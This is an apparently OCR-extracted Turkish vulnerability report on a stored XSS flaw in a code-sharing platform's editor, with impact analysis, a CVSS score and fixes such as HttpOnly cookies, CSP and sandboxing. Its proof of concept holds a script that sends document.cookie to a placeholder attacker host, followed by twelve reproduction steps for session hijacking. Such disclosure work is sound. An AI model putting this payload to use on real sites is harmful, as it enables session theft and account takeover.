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1. Zafiyet Ozeti (Executive Summary)

app.kodluyo.com platformunda kullanicilarin kendi HTML, CSS ve JavaScript kodlarini
yazabildigi ve bu kodlarin paylasilabilir linklere déniistiiriildiigii bir sistem bulunmaktadir.

Yapilan giivenlik testleri sirasinda, kullanici tarafindan olusturulan JavaScript kodlarinin herhangi
bir giivenlik izolasyonu (sandbox, CSP, origin isolation vb.) olmadan ¢alistirilldig1 ve platforma giris
yapmus kullanicilarin session cookie degerine erisilebildigi tespit edilmistir.

Saldirgan, zararli JavaScript igeren bir kod olusturarak bunu link haline getirebilmekte ve
app.kodluyo.com hesabi olan ve sisteme giris yapmis bir kullaniciya gonderdiginde, kullanici
linki actiginda session cookie saldirganin sunucusuna génderilmektedir.

Ele gecirilen PHPSESSID degeri kullanilarak hedef kullanicinin oturumu ele gecirilebilmekte ve
kullanicinin yazdig1 kodlara erisilip degistirilebilmektedir.

Bu zafiyet asagidaki saldin zincirine yol agmaktadir:

Stored XSS - Session Cookie Exfiltration — Session Hijacking — Unauthorized Account
Access

Zafiyet yalmzca app.kodluyo.com hesabi olan ve oturum acmis kullamcilar etkilemektedir.

2. Etkilenen Sistem

Ana Domain
https://app.kodluyo.com

Etkilenen Modiil
User Code Editor / Code Sharing System
Etkilenen Kullanicilar

* app.kodluyo.com hesabi olan kullanicilar
 platforma giris yapmis kullanicilar
 zararl linki acan kullanicilar



Etkilenmeyen Kullamcilar

 platforma giris yapmamus kullanicilar
* oturumu olmayan ziyaretgiler

3. Zafiyet Turu

» Stored Cross Site Scripting (Stored XSS)

* Session Cookie Exposure

* Session Hijacking

* Improper User Generated Content Isolation
* Account Unauthorized Access

4. Teknik Aciklama

Platform, kullanicilarin kendi HTML ve JavaScript kodlarin1 yazmasina ve bu kodlar paylasilabilir
linklere doniistiirmesine izin vermektedir.

Bu linkler agildiginda:

* kullanic1 tarafindan yazilan JavaScript otomatik ¢calismaktadir
* kod platformun kendi domaini altinda ¢calismaktadir

* kullanic1 giris yapmigsa session aktif olmaktadir

* document.cookie erisilebilir olmaktadir

* PHP session cookie dis sunucuya gonderilebilmektedir

Temel giivenlik problemi:
User generated JavaScript dogrudan app.kodluyo.com origin altinda ¢calismaktadir

Bu nedenle:

document.cookie
ile session bilgisi alinabilmektedir.

Ek olarak:

* HttpOnly cookie eksik

* CSP eksik

* Sandbox izolasyonu yok
* Origin isolation yok

Bu durum Stored XSS iizerinden session hijacking yapilmasina neden olmaktadir.

5. Proof of Concept (PoC)

Kod editoriine agagidaki JavaScript eklenmistir:



<script>

navigator.sendBeacon(
"https://attacker-site.com/log.php",
document.cookie

);

</script>
Kod linke doniistiiriilmiistiir.
Link platforma giris yapmis bir kullaniciya gonderilmistir.

Kullanici linki agtiginda:

» JavaScript caligmistir
* document.cookie attacker sunucuya gonderilmistir
* PHPSESSID log dosyasina diismiistiir

Ornek log:

PHPSESSID=abc123xyz456

6. Zafiyetin Adim Adim Tekrar Edilmesi

Adim 1

app.kodluyo.com hesabi olusturulur veya giris yapilir.

Adim 2

Kod yazma alanina gidilir.

Adim 3

Zararl1 JavaScript eklenir.

Adim 4
Kod paylagilabilir linke déniistiiriiliir.

Adim 5

Link platform kullanicisina gonderilir.

Adim 6
Kullanic1 giris yapmis halde linki acar.

Adim 7

JavaScript calisir.

Adim 8

document.cookie attacker sunucuya gonderilir.



Adim 9
PHPSESSID ele gecirilir.

Adim 10
Attacker kendi PHPSESSID degerini degistirir.

Admm 11

Hedef kullanicinin oturumu ele gegirilir.

Adim 12

Kullanic1 kodlar goériintiilenir ve degistirilebilir.

7. Attack Flow

Attacker creates malicious code
élatform generates shareable link
&ictim (logged-in user) opens link
gavaScript executes
éocument.cookie exfiltrated
éHPSESSID captured

éession reused

&ictim account accessed

Gser content modified

8. Etki Analizi

Oturum Ele Gec¢irme

PHPSESSID ele gecirildigi icin kullanici oturumu tamamen saldirgana gecebilir.

Kullanic1 Hesaplarina Yetkisiz Erisim

Session reuse ile hesap erisimi saglanabilir.

Kullama Kodlarimin Degistirilmesi

Saldirgan kullanici iceriklerini degistirebilir.

Veri Manipiilasyonu

Platform icerigi degistirilebilir.



Giivenlik ihlali

User generated content {izerinden saldir1 yapilabilir.

9. Risk Seviyesi
High / Critical
Sebep:

* Stored XSS

* Session Hijacking

* Hesap erisimi

* Veri manipiilasyonu

* Same origin execution
* Cookie exposure

10. CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Score: 9.0

11. Giivenlik Sorununun Kaynagi

User Generated Code Isolation Eksik

Kullanic1 kodlarn giivenli ortamda calistirilmiyor.

HttpOnly Cookie Eksik

Session cookie okunabiliyor.

CSP Eksik

JavaScript dis sunucuya veri gonderebiliyor.

Sandbox Eksik

Iframe izolasyonu bulunmuyor.

Origin Isolation Eksik

User code ayn1 domain altinda ¢alisiyor.




12. Coziim Onerileri

1. HttpOnly Cookie

Set-Cookie: PHPSESSID=xxx; HttpOnly; Secure; SameSite=Strict

2. Sandbox Kullanimi

<iframe sandbox="allow-scripts'">

3. CSP Eklenmesi

Content-Security-Policy:
default-src 'self';
script-src 'self';
connect-src 'self';
frame-src 'self';

4. Ayr1 Domain Kullanim

user-content.kodluyo.com

5. Cookie Erisiminin Engellenmesi

document.cookie erisimi kaldirilmalidir.

13. Zafiyetin Onceligi
Yiiksek oncelikle diizeltilmelidir
Sebep:

* Hesap ele gecirme riski

* Stored XSS

* Session Hijacking

* Kaullanici verisi riski

* Platform giivenligi etkileniyor

14. Sonuc

app-kodluyo.com platformunda bulunan bu zafiyet, kullanici tarafindan olusturulan JavaScript
kodlarinin giivenli izolasyon olmadan calistirilmasi nedeniyle PHP session ID ele gecirilmesine ve
kullama1 oturumunun saldirgan tarafindan kullanilmasina neden olmaktadir.



Zafiyet yalmzca platforma giris yapmis kullamicilar etkilemektedir ve Stored XSS kaynaklh
Session Hijacking olarak degerlendirilmelidir.

Bu nedenle giivenlik 6nlemlerinin uygulanmasi ve zafiyetin hizh sekilde kapatilmasi
onerilmektedir.
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